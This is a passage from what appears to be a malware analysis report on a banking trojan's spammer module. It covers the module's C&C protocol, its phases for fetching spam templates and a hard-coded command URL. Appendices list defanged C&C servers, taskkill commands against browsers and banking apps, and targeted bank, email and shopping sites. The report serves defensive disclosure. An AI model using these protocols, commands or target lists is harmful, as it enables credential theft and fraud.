timer, a particular initialization subtask is performed according to the current phase_num
value. After the subtask was completed successfully, the phase_num
variable is incremented. Notably the location of the second-level C&C is recovered in phase 0. The main goal of this initialization is to recover all the variables required for the email composition.
Intriguingly, files generated by this module have a shared hard-coded prefix dybuk
. Moreover, they share the working directory (C:\Users\Public\Libraries\<campaign_download_dir>
) with the rest of the modules. Specific files are handled by adding a suffix containing the file extension .vrx
and sometimes even several preceding characters l.log
.
Phase 0
This phase does more-or-less the same second-level C&C retrieval as module DWWN. In short, a first-level C&C (this time from Appendix B.1) is contacted periodically with the interval being extended with each unsuccessful attempt. An HTTP request to <first-level domain>//09/dsct.txt
is made. The response sets two cookies:
Cookie: btst=135cc8312577adf8f54ba5a1500e76c8|111.112.113.114|1550221274|1550221270|0|1|0; snkz=111.112.113.114
This cookie can be decoded in the following way:
Name | Value |
snkz | Client’s IP address |
btst | <ID>|<IP>|<last time>|<first time>|<elapsed last>|<req number>|<last res number> |
Where ID
corresponds to the session ID, IP
to the client’s IP address, last time
to the last request’s timestamp, first time
to the first request’s timestamp, elapsed last
denotes time elapsed since the last request, and the last two variables are request number
and the number of the last response
.
Unfortunately, we haven’t been able to confirm whether other second-level C&C (used by other modules) exhibited the same cookie behaviour. We conjecture that it should be the case.
If the response contains any data in the HTTP body, it should correspond to an encrypted second-level C&C address. The second-level C&C address is encrypted with the same substitution cipher as module DWWN.
Successful C&C address retrieval triggers phase 1.
We do not know why the cookie structure is so needlessly complicated. We speculate that there are some server-side checks whose purpose is to make it harder for malware analysts to retrieve the second-level C&C address. However, we have simulated this communication exactly as it would be from a real victim and, so far, we have been unsuccessful in retrieving second-level C&C’s — we have only received empty HTTP bodies. We assume that this spammer module isn’t currently active and that the malware authors only enable it occasionally, only when they have a spam payload to send.
Phase 1 – Phase 9
The following phases, with the exception of phase 3, are rather simplistic. They mostly entail data retrieval. The data is then dumped onto the disk to be used later during the email composition. Note that Portuguese words are again used in phase 3 (ativo = activated, desativo = deactivated).
Interestingly, some information, such as the state, is passed through the text of various form elements. Thus, e.g. the state is represented by a text of Button1
and can be either ativo (activated) or desativo (deactivated). For phases 1-8 successful execution means that the phase will be incremented unless stated explicitly otherwise.
Phase no. | Description |
Phase 1 | Setup the log file. |
Phase 2 | Send GET request to <2-level C&C>/sms.zip and save the response to: C:\Users\Public\Libraries\raptor\dybuks25022019.vrx This file contains information such as the location of the SMTP server, and username/password for authentication. |
Phase 3 | In this phase, this module’s state is set to active and if no email has been sent so far, a test “ping” email is sent to a hard-coded email address. This probably serves as a means providing statistics to the malware’s author. This may be described in more detail by the following pseudocode:IF state == “desativo” AND quantity == 0 : // deactivated, nothing sent state = ativo
Send a test email Recipient: pedro.aragao18@bol[.]com.br
Subject: mail test state == “desativo” AND quantity > 0 : // deactivated state = ativo
write to C:\Users\Public\Libraries\raptor\dybuk.on state == “ativo” AND quantity > 0 : // activated, functional |
Phase 4 | Cleanup after sending the test email. |
Phase 5 | Send GET request to <2-level C&C>/mensagem.zip. The response is the actual email message template. |
Phase 6 | Send GET request to <2-level C&C>/assunto.txt, the response should contain the message subject. |
Phase 7 | Send GET request to <2-level C&C>/from.txt, the response should contain value for the EMAIL variable. |
Phase 8 | Send GET request to <2-level C&C>/links.txt. A random link from the response is used as a substitution for the [LINK] placeholder. |
Phase 9 | Enable tmr_puxa_email timer. |
Timers strike again!
The remaining functionality of this module is also implemented through TTimer events
and all of them are children of the main TForm
. Interestingly, there is not a uniform naming convention – there are object’s using default names (Timer1
), and Hungarian notation either using camelcase (tmrFinaliza
) or underscore-separated names (tmr_puxa_email
). For the sake of simplicity, only the timers with special functionality will be listed. The rest contains either empty events or contains rather generic code. Moreover, the listed timers reconfigure their intervals with each run to a random value ranging from tenths of seconds to several minutes.
tmr_puxa_email (pull-email timer)
This timer is started when all initialization phases from tmr_fases_timer
have been finished (spammer is activated and all configuration has been downloaded).
It sends an HTTP request to:
<2-level C&C>//9/master/cmd.php?pass=supremo2012&log=vs_k_<TForm1_handle>_<malware_version>_<filename>&qnt=<quantity>
The variable filename
contains the image filename with .exe
stripped, quantity
corresponds to the total number of emails sent. We have no idea why the malware authors would want to send the <TForm1_handle>
handle in this request. It could either be a check for a specific sandbox, or they just simply wanted to send something else and this is a bug. The response may contain several commands:
Command | Tranlsation | Description |
reabrir | (reopen) | Terminates application |
zerar | (clear) | Set quantity to 0 |
reboot | Execute cmd /k shutdown -r -t 0 -f |
Alternatively, if the response contains another URL, it sends an HTTP request to it and thus obtains the list of intended email recipients. Then, it passes the control to the Button1
click handler by simulating a click on Button1
. The Button1
click handler then checks if the .vrx
file (SMTP configuration) exists and if it does, it spawns a new thread in order to actually send the spam emails.
tmrLig
Writes down the current value of quantity
(number of sent emails) into files:
C:\Users\Public\Libraries\raptor\dybuk.lig
C:\Users\Public\Libraries\raptor\dybukl.log
tmrFinaliza
This timer is called “on demand” by the email sender thread just before the connection to the SMTP server is terminated.
It resets the phase to 5 and sets the tmr_puxa_emailTimer
interval to a value between three and five seconds. Then, it also reenables the tmr_fasesTimer
in order to rerun phase 5 and higher. This effectively makes the bot reload new spam message templates along with new message subjects and malicious links.
3rd party modules:
Module A – Mail PassView v1.78SHA256: cb55744f0ea9b02f928b356b5227d69136c9df38b1e28fb047bd18714dfa3b70
Module B – WebBrowserPassView v1.26SHA256: 762f962251800b0028a90b53a50503558fff9116c43fccdab376a05fdd03e27e
Both modules are outdated versions of NirSoft password recovery tools. They use old versions (from 2012) probably because Nirsoft disabled command line support for their tools in 2014. Because of this change, they can’t run it silently without a visible main window and interaction. However, it does not matter, because this old version also works on current browsers and desktop email clients.
Both modules are injected and executed via module G.
Module B (WebBrowserPassView) has a very long history. The malware authors have been using this XORed module (and Shift-XOR algorithm seed) since 2015. Also, the name convention (*b.jpg.zip) is still the same.
VirusTotal submission history:
Appendix
A. Module G
A.1 Server list 1
hxxp://megatronico.xn--6frz82g/09/dsct.txt?vx=0137
hxxp://xn--80aaalggjw6a2a.site/09/dsct.txt?vx=0137
hxxp://xn--lckko7eri8b.pw/09/dsct.txt?vx=0137
hxxp://megatronico.club/09/dsct.txt?vx=0137
hxxp://megatronico.fun/09/dsct.txt?vx=0137
hxxp://megatronico.pw/09/dsct.txt?vx=0137
hxxp://megatronico.site/09/dsct.txt?vx=0137
hxxp://megatronico.xyz/09/dsct.txt?vx=0137
hxxp://newswtc106.com/09/dsct.txt?vx=0137
hxxp://magmonsterx1.xyz/09/dsct.txt?vx=0137
hxxp://sisssnetttx1.com/09/dsct.txt?vx=0137
hxxp://magmonsterx2.xyz/09/dsct.txt?vx=0137
hxxp://sisssnetttx2.com/09/dsct.txt?vx=0137
hxxp://magmonsterx3.xyz/09/dsct.txt?vx=0137
hxxp://sisssnetttx4.com/09/dsct.txt?vx=0137
hxxp://sisssnetttx5.com/09/dsct.txt?vx=0137
hxxp://sisssnetttx77.thaieasydns.com/09/dsct.txt?vx=0137
hxxp://sisssnetttx88.compress.to/09/dsct.txt?vx=0137
hxxp://sisssnetttx6.info/09/dsct.txt?vx=0137
hxxp://sisssnetttx6.net/09/dsct.txt?vx=0137
hxxp://sisssnetttx6.net.br/09/dsct.txt?vx=0137
hxxp://sisssnetttx6.in/09/dsct.txt?vx=0137
hxxp://sisssnetttx6.website/09/dsct.txt?vx=0137
hxxp://sisssnetttx0xix0.com/09/dsct.txt?vx=0137
A.2 Server list 2
hxxp://storage.googleapis.com/tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/carbon-syntax-605.appspot.com/137/9/dados.txt
hxxp://tx141radx137.xyz//9/dados.txt
hxxp://storage.googleapis.com/1tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/2tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/3tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/4tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/5tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/6tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/7tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/8tx141radx137/9/dados.txt
hxxp://storage.googleapis.com/9tx141radx137/9/dados.txt
A.3 TaskKill
taskkill /f /im iexplore.exe
taskkill /f /im firefox.exe
taskkill /f /im chrome.exe
taskkill /f /im opera.exe
taskkill /f /im safari.exe
taskkill /f /im MicrosoftEdge.exe
taskkill /f /im AplicativoBradesco.exe
taskkill /f /im itauaplicativo.exe
taskkill /f /im java.exe
taskkill /f /im javaw.exe
A.4 File paths
C:\Program Files\Internet Explorer\iexplorer.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files (x86)\Mozilla Firefox\firefox.exe
C:\Program Files\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files\Diebold\Warsaw\core.exe
C:\Program Files\Diebold\Warsaw\mw.dbd
C:\Program Files\Diebold\Warsaw\gas.dbd
C:\Program Files\Diebold\Warsaw\gas.hisc
C:\Program Files\Diebold\Warsaw\local.data
C:\Program Files (x86)\Diebold\Warsaw\core.exe
C:\Program Files\Diebold\Warsaw\unins000.exe
C:\Program Files (x86)\Diebold\Warsaw\unins000.exe
C:\Program Files\Banco do Brasil\Assinatura Digital\bb-smartcards.exe
C:\Program Files (x86)\Banco do Brasil\Assinatura Digital\bb-smartcards.exe
C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files (x86)\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\AppBrad\AplicativoBradesco.exe
C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe
C:\Users\%username$\AppData\Local\Aplicativo Itau\itauaplicativo.exe
C:\Sicoobnet\office.exe
C:\Windows\System32\regsvr32.exe
\raptor\rakpat0rpcackg.gif
\raptor\rakpat0rpcack64.~
\raptor\rakpat0rpcack98.~
\raptor\rakpat0rpcackgx.gif
\raptor\rakpat0rpcackxb.~
A.5 Version 139: targeted online bank services
Argentina:
bancodecomercio.com[.]ar
bancoprovincia
santanderrio.com[.]ar
bancogalicia[.]com
bbvafrances.com[.]ar
macro.com[.]ar
hsbc.com[.]ar
bancocredicoop[.]coop
bancopatagonia[.]com
privatebank.citibank[.]com
hipotecario.com[.]ar
bancor.com[.]ar
supervielle.com[.]ar
bancosantafe.com[.]ar
bancosanjuan[.]com
itau.com[.]ar
comafi.com[.]ar
bancodelapampa.com[.]ar
bse.com[.]ar
bancoentrerios.com[.]ar
bancochubut.com[.]ar
bancotucuman.com[.]ar
bancodecorrientes.com[.]ar
nbch.com[.]ar
bice.com[.]ar
bpn.com[.]ar
bancoformosa.com[.]ar
bancocolumbia.com[.]ar
bancopiano.com[.]ar
bancosantacruz[.]com
bancocmf.com[.]ar
mariva.com[.]ar
bst.com[.]ar
bancosaenz.com[.]ar
bancobic[.]ao
redlink.com[.]ar
Colombia:
colpatria[.]com
davivienda[.]com
grupobancolombia[.]com
bancopopular.com[.]co
bancodeoccidente.com[.]co
bancodebogota[.]com
bancocorpbanca.com[.]co
bancocajasocial[.]com
avvillas.com[.]co
Chile:
bancoestado[.]cl
bancochile[.]cl
login.bancochile[.]cl
bancocredichile[.]cl
santander[.]cl
banco.itau[.]cl
bci[.]cl
bice[.]cl
bancofalabella[.]cl
bancoedwards[.]cl
bancoripley[.]cl
corpbanca[.]cl
rbsbank[.]cl
bancosecurity[.]cl
bancopenta[.]cl
bancoparis[.]cl
Peru:
bancomercio.com[.]pe
corpebank2.icbc.com[.]cn
viabcp[.]com
banbif.com[.]pe
pichincha[.]pe
bbvacontinental[.]pe
interbank[.]pe
mibanco.com[.]pe
scotiabank.com[.]pe
bancognb.com[.]pe
bancofalabella[.]pe
bancoripley.com[.]pe
santander.com[.]pe
bancoazteca.com[.]pe
momentosbancocencosud[.]pe
visanet.com[.]pe
Ecuador:
pichincha[.]com
bancoguayaquil[.]com
bolivariano[.]com
bancomachala[.]com
bancodeloja.fin[.]ec
bcmanabi[.]com
banco-solidario[.]com
bancodelpacifico[.]com
bancopromerica[.]ec
bancodelaustro[.]com
bancoamazonas[.]com
unibanco[.]ec
bgr.com[.]ec
latam.citibank[.]com
bancocapital[.]com
bancointernacional.com[.]ec
bancofinca[.]com
produbanco[.]com
procreditecuador[.]com
coopnacional[.]com
cofiec.fin[.]ec
Uruguay:
bbva.com[.]uy
bps.gub[.]uy
brou.com[.]uy
santander.com[.]uy
itau.com[.]uy
China:
cncbinternational[.]com
citibank.com[.]cn
hsbc.com[.]cn
icbc.com[.]cn
boc[.]cn
Europe:
itau[.]eu
bbva[.]com
jpmorgan
bnpparibas
spdb.com[.]cn
bportugal[.]pt
santandertotta[.]pt
bancobpi[.]pt
deutschebank
bankinter[.]pt
barclays
millenniumbcp[.]pt
credit-suisse[.]com
privatbank[.]ua
bancobpi[.]pt
novobanco[.]pt
popularbank[.]com
bancopopular
B. Module F
B.1 1-level C&Cs
analiticsx001x[.]xyz
maisgoldww[.]xxxy[.]info
analiticsx002x[.]xyz
ghethetgdsx01[.]gettrials[.]com
wertwert918[.]xxxy[.]info
zdfgwtwertahok2[.]info
analiticsx003[.]com
ewrtrtoldww[.]xxxy[.]info
analiticsx004[.]xyz
analiticsx005[.]info
analiticsx006[.]com
analiticsx007[.]net
analiticsx008[.]website
analiticsx009[.]online
analiticsx0010[.]com
<number>danaliticsx00220a[.]com (up to 30analiticsx00220a[.]com)
C. XSL
C.1 Server list
02/2019 v137
cavaleira1[.]website
cavaleira2[.]pw
cavaleira3[.]space
cavaleira4[.]fun
cavaleira5[.]site
cavaleira6[.]xyz
davidguetta01[.]website
davidguetta02[.]pw
davidguetta03[.]space
davidguetta04[.]fun
davidguetta05[.]site
davidguetta06[.]xyz
03/2019 v137
budweiser01[.]website
budweiser02[.]pw
budweiser03[.]space
budweiser04[.]fun
budweiser05[.]site
budweiser06[.]xyz
chromiunxede[.]pw
chromiunxewaa[.]website
chromiunxjdkhy[.]fun
chromiunxjst[.]site
chromiunxkla[.]space
chromiunxkla[.]work
chromiunxma[.]xyz
chromiunxvr[.]club
04/2019 v138
americanterrier01[.]website
americanterrier02[.]pw
americanterrier03[.]space
americanterrier04[.]fun
americanterrier05[.]site
americanterrier06[.]xyz
residentevil01[.]website
residentevil02[.]pw
residentevil03[.]space
residentevil04[.]fun
residentevil05[.]site
residentevil06[.]xyz
shaokahn01[.]website
shaokahn02[.]pw
shaokahn03[.]space
shaokahn04[.]fun
shaokahn05[.]site
shaokahn06[.]xyz
04/2019 v139
hxxps://raw.githubusercontent[.]com/winsvrx/x/master/
05/2019 v139
hxxps://storage.googleapis[.]com/ultramaker/
06/2019 v140
hxxps://storage.googleapis[.]com/bradok/
C.2 Downloaded file names
<version_specific_string>(a|b|c|dwwn|dx|e|f|g|gx|xa|xb|98|hh).(jpg|gif|dll|~)
D. Module C
D.1 Server list
aventadorx7[.]com
aventadorx9[.]com
aventadorxkw1[.]net
aventadorxkw2[.]net
aventadorxkw3[.]net
dynamic6666[.]com
magmonsterx1[.]xyz
magmonsterx2[.]xyz
magmonsterx3[.]xyz
newswtc106[.]com
sisssnetttx1[.]com
sisssnetttx2[.]com
sisssnetttx3[.]com
sisssnetttx4[.]com
sisssnetttx5[.]com
sisssnetttx6[.]in
sisssnetttx6[.]info
sisssnetttx6[.]net
sisssnetttx6[.]net.br
sisssnetttx6[.]website
sisssnetttx77.thaieasydns[.]com
sisssnetttx88.compress[.]to
valhalax0xix0[.]com
valhalaxtz1[.]info
valhalaxtz2[.]pw
valhalaxtz3[.]website
valhalaxtz4[.]xyz
valhalaxtzx77.thaieasydns[.]com
D.2 Targeted web email services
mail.live[.]com
outlook.live[.]com
login.live[.]com
email.uol[.]com.br
mail.uol[.]com.br
mail.yahoo[.]com
login.yahoo[.]com
mail.google[.]com
accounts.google[.]com
mail.terra[.]com.br
Patterns of interest
:2095
/webmail
/admin
D.3 Targeted social sites/media:
facebook[.]com
twitter[.]com
Instagram[.]com
netflix[.]com
D.4 Targeted payment services:
paypal[.]com
pagseguro.uol[.]com.br
serasaexperian[.]com.br
sitenet.serasa[.]com.br
servicos.spc[.]org.br
D.5 Targeted e-commerce/e-shops:
aliexpress[.]com
amazon[.]com
ebay[.]com
ricardoeletro[.]com
walmart[.]com
magazineluiza[.]com
americanas[.]com.br
efacil[.]com.br
clubedoricardo[.]com.br
connectparts[.]com.br
passarela[.]com.br
shoptime[.]com.br
kanui[.]com.br
ebit[.]com.br
compracerta[.]com.br
panvel[.]com
groupon[.]com.br
boticario[.]com.br
pontofrio[.]com.br
centauro[.]com.br
peixeurbano[.]com.br
lojasrenner[.]com.br
store.sony[.]com.br
comprafacil[.]com.br
maxmilhas[.]com.br
zattini[.]com.br
passarela[.]com.br
avon[.]com.br
decolar[.]com
colombo[.]com.br
mercadopago[.]com
mercadolivre[.]com
extra[.]com.br
ultrafarma[.]com.br
kabum[.]com.br
netshoes[.]com.br
passarela[.]com.br
paquetaesportes[.]com.br
buscape[.]com.br
chillibeans[.]com.br
connectparts[.]com.br
casasbahia[.]com.br
dafiti[.]com.br
D.6 Miscellaneous targeted urls:
uolhost[.]com
painelhost.uol[.]com.br
locaweb[.]com.br
grupobci[.]com.br
bvsnet[.]com.br
servicos.spc.org.br
voeazul[.]com.br
voegol[.]com.br
tam[.]com.br
submarino[.]com.br
godaddy[.]com
gmx[.]com
ig[.]com.br
ogin.r7[.]com
E. Module DWWN
E.1 Server list
Megatronico[.]xn--6frz82g (IDN address megatronico[.]移动)
Xn--80aaalggjw6a2a[.]site (IDN address казагранде[.]site)
Xn--lckko7eri8b[.]pw (IDN address カサグランデ[.]pw)
megatronico[.]club
megatronico[.]fun
megatronico[.]pw
megatronico[.]site
megatronico[.]xyz
newswtc106[.]com
magmonsterx1[.]xyz
sisssnetttx1[.]com
magmonsterx2[.]xyz
sisssnetttx2[.]com
magmonsterx3[.]xyz
sisssnetttx4[.]com
sisssnetttx5[.]com
sisssnetttx77[.]thaieasydns[.]com
sisssnetttx88[.]compress[.]to
sisssnetttx6[.]info
sisssnetttx6[.]net
sisssnetttx6[.]net[.]br
sisssnetttx6[.]in
sisssnetttx6[.]website
sisssnetttx0xix0[.]com
[41..50]sisssnetttx0xix0[.]com